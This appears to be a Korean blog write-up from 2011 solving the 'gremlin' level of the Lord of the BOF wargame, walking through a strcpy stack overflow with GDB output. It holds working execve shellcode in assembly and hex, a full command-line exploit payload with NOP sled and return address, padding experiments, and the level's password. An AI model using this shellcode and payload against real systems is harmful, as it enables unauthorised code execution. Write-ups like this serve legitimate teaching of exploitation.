2011. 6. 2. 01:37

⊙ 문제의 소스를 보자)

[gate@localhost gate]$ cat gremlin.c
/*

The Lord of the BOF : The Fellowship of the BOF

- gremlin

- simple BOF

*/

   

int main(int argc, char *argv[])

{

char buffer[256];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ simple BOF라는 주석에서 알 수 있듯이 버퍼가 256Byte로 넉넉하다.

+ argv 인자로 문자열을 받아 strcpy()로 buffer에 복사를 한다.

+ strcpy()는 복사할 목적지 문자열에 크기를 제한하지 않음으로 Overflow가 가능하다.


   

1) 공략할 바이너리 파일을 GDB로 벗겨보자.

 (gdb) set disassembly-flavor intel

(gdb) disassemble main

Dump of assembler code for function main:

인텔문법 어셈블리 언어 설정

  

0x8048430 <main>: push %ebp

0x8048431 <main+1>: mov %ebp,%esp

함수 프롤로그 과정

(스택 프레임을 생성하는 과정)

0x8048433 <main+3>: sub %esp,0x100

0x100(10진수:256)만큼 스택공간 확보

...[중략]...

if (argc < 2) ...

0x8048456 <main+38>: mov %eax, DWORD PTR [%ebp+12]

0x8048459 <main+41>: add %eax, 4

0x804845c <main+44>: mov %edx,DWORD PTR [%eax]

0x804845e <main+46>: push %edx

0x804845f <main+47>: lea %eax,[%ebp-256]

0x8048465 <main+53>: push %eax

0x8048466 <main+54>: call 0x8048370 <strcpy>

argv주소를 eax에 복사

argv[1]

argv[1]값을 edx로 복사

strcpy 두번째 인자값을 위해 스택에 푸쉬

str주소값을 eax에 복사

strcpy 첫번째 인자값을 위해 스택에 푸쉬

strcpy (buffer, argv[1]) 호출

...[중략]....

printf("%s\n", buffer);

0x8048482 <main+82>: leave

0x8048483 <main+83>: ret

함수 에필로그 과정
(스택프레임을 제거하는 과정)

*권한이 없으므로 tmp폴더 생성후 바이너리 파일 복사.

① buffer[256]과 같이 정확히 0x100(10진수:256)Byte만큼 스택공간을 확보, 즉 더미(dummy)는 없습니다.

② 쉘코드를 buffer에 삽입후 RET주소를 buffer의 주소([%ebp-256])로 넣습니다.

③ buffer시작 주소부터 RET의 시작주소 까지의 오프셋 :: buffer(256) + EBP(4) :: RET
 

[여기서 잠깐] 왜! 더미는 없을까? -

구글링 해보니 2.96 미만의 gcc버전에서는 더미(dummy)가 없다고 한다.

[gate@localhost gate]$ gcc -v

Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs

gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)


   

2) GDB로 RET 주소를 구해 보자.

[gate@localhost tmp]$ gdb -q gremlin

(gdb) disassemble main

Dump of assembler code for function main:

...[중략]...

0x8048466 <main+54>: call 0x8048370 <strcpy>

0x804846b <main+59>: add $0x8,%esp

0x804846e <main+62>: lea 0xffffff00(%ebp),%eax

0x8048474 <main+68>: push %eax

0x8048475 <main+69>: push $0x80484ec

...[중략]...

(gdb) b *main+62

Breakpoint 1 at 0x804846e

(gdb) r $(python -c 'print "D"*264')

Starting program: /home/gate/tmp/gremlin $(python -c 'print "D"*264')

Breakpoint 1, 0x804846e in main ()

① argv 인자로 전달한 공격문은 strcpy()함수 이후에 buffer에 복사되기 때문에 strcpy()이후로 break를 겁니다.

② 공격문을 argv 인자전달로 넘겨주기 때문에 공격문의 길이에 따라 EBP 값이 변합니다.

따라서 Buffer(256) + EBP(4) + RET(4) = 264Byte이므로 Python 인터프리터문으로 "D"*264 전달합니다.

③ EBP값은 0xbffffa18 이므로 EBP-256(buffer길이) 빼주면 0xbffff918이 됩니다.

여기서 "D"의 ASCII코드값이 44이므로 쉽게 눈으로 확인 할 수 있습니다.

④ 대략적으로 중간 지점인 0xbffff0a8 리턴할 주소로 잡습니다.


   

3) 공격에 사용할 쉘코드 작성. [참조1] [참조2]

.global main

main:

/* int execve(const char *filename, char *const argv[], char *const envp[]) */

xor %eax, %eax         ;# eax를 0으로

push %eax ;# 문자열 종결을 위해 널을 푸시

push $0x68732f2f ;# "//sh"를 스택에 푸시

push $0x6e69622f ;# "/bin"를 스택에 푸시

mov %esp, %ebx         ;# esp에서 "/bin//sh"의 주소를 가져와 ebx에 쓴다.

push %eax ;# 32비트 널 종결자를 스택에 푸시

push %ebx ;# 널 종결자 위에 문자열 주소를 푸시

mov %esp, %ecx         ;# 문자열 포인터가 있는 인자 배열

cdq ;# eax에서 부호 비트를 가져와 edx를 0으로

mov $0xb, %al ;# 시스템 콜 11번 (execve)

int $0x80

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"


   

4) Python 인터프리터 공격문 작성

NOP 썰매(200Byte)

셸코드(24Byte)

NOP 썰매(36Byte)

RET(4Byte)

./gremlin $(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\xa8\xf9\xff\xbf"')

   

특이사항)

① 이와 같이 셸코드 오른쪽엔 어떠한 값(NOP썰매)이 최소 16Byte이여야 한다.

NOP 썰매(228Byte)

셸코드(24Byte)

NOP 썰매(8Byte)

RET(4Byte)

(X)

NOP 썰매(224Byte)

셸코드(24Byte)

NOP 썰매(12Byte)

RET(4Byte)

(X)

NOP 썰매(220Byte)

셸코드(24Byte)

NOP 썰매(16Byte)

RET(4Byte)

(O)

NOP 썰매(216Byte)

셸코드(24Byte)

NOP 썰매(20Byte)

RET(4Byte)

(O)

   

② 꼭 NOP썰매가 아니더라도 특정한 영문자도 되더라.

"A"*(212Byte)

셸코드(24Byte)

"A"*(24Byte)

RET(4Byte)

(O)

"B"*(208Byte)

셸코드(24Byte)

"B"*(28Byte)

RET(4Byte)

(O)

"C"*(204Byte)

셸코드(24Byte)

"C"*(32Byte)

RET(4Byte)

(O)

"Z"*(200Byte)

셸코드(24Byte)

"Z"*(36Byte)

RET(4Byte)

(O)

  


   

5) 이제 적을 물리쳐 보자!

   

어찌된 일인지 GDB로 확인해 봅시다.

   

0xbffffa6c를 보면 리턴주소가 0x4000f9a8 되어있습니다.

분명 리턴 주소는 0xbffff9a8이 였는데 말이죠..

어찌된 일 일까요? 해당 사이트를 검색해 보았습니다. [원본 위치]

구버젼의 bash에 실행 파일의 인자로 전달되는 값들 중 0xff를 인식하지 못하는 버그가 있습니다.

따라서 C언어의 exec* 계열 함수를 호출하여 인자를 넘기시거나 업그레이드 버젼인 /bin/bash2를
실행하시면 문제가 해결됩니다.

   

[gate@localhost gate]$ /bin/bash -version

/bin/bash -version

GNU bash, version 1.14.7(1)

   

[gate@localhost gate]$ /bin/bash2 -version

GNU bash, version 2.03.8(1)-release (i386-redhat-linux-gnu)

Copyright 1998 Free Software Foundation, Inc.

   

자그럼 bash2로 변환후 다시 해보죠..

이제 되네요.. 성공!!


 

   

   

--) 공격 구성 순서 정리.

① 권한문제로 tmp 폴더 생성후 gramlin 복사. :: # mkdir tmp && cp gramlin tmp

② GDB를 통해 버퍼크기와 더미존재 여부 확인.

③ GDB로 RET주소를 구하자.

  • 버퍼크기가 256Byte나 되므로 쉘코드를 버퍼에 삽입후 RET주소를 buffer의 주소로 바꾼다.

④ 공격에 사용할 쉘코드 작성
⑤ Python 인터프리터 공격문 작성

⑥ bash2 && 공격


*(앞으로 모든 레벨에서의 쉘은 chsh명령으로 /bin/bash2로 변경)

gate : "gate"

Posted by devanix